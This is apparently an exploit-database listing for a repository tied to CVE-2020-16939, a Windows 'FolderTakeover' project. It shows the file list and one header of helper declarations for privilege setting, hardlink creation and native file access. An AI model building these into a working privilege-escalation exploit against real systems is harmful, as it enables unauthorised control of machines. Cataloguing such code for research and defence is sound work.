Exploit databaseDownload repository ZIP
GH-9424317eddb8af4f6f831e17dfc20320
rogue-kdc/cve-2020-16939
Sources for CVE-2020-16939
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files13
rogue-kdc/cve-2020-16939Revision ec036ded7ff1
- ↑..Parent directory
- CommonUtils.cpp
- CommonUtils.h
- FileOpLock.cpp
- FileOpLock.h
- FolderTakeover.cpp
- FolderTakeover.vcxproj
- FolderTakeover.vcxproj.filters
- FolderTakeover.vcxproj.user
- ntimports.h
- stdafx.cpp
- stdafx.h
- targetver.h
- typed_buffer.h
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
FolderTakeover/CommonUtils.h
Text · 658 bytes#pragma once
#pragma once
#include <Windows.h>
#include <string>
typedef void(__stdcall *console_output)(const char*);
void DebugSetOutput(console_output pout);
void DebugPrintf(const char* lpFormat, ...);
std::wstring GetErrorMessage(DWORD dwError);
std::wstring GetErrorMessage();
BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege);
DWORD NtStatusToDosError(NTSTATUS status);
bool CreateNativeHardlink(LPCWSTR linkname, LPCWSTR targetname);
HANDLE OpenFileNative(LPCWSTR path, HANDLE root, ACCESS_MASK desired_access, ULONG share_access, ULONG open_options);
std::wstring BuildFullPath(const std::wstring& path, bool native);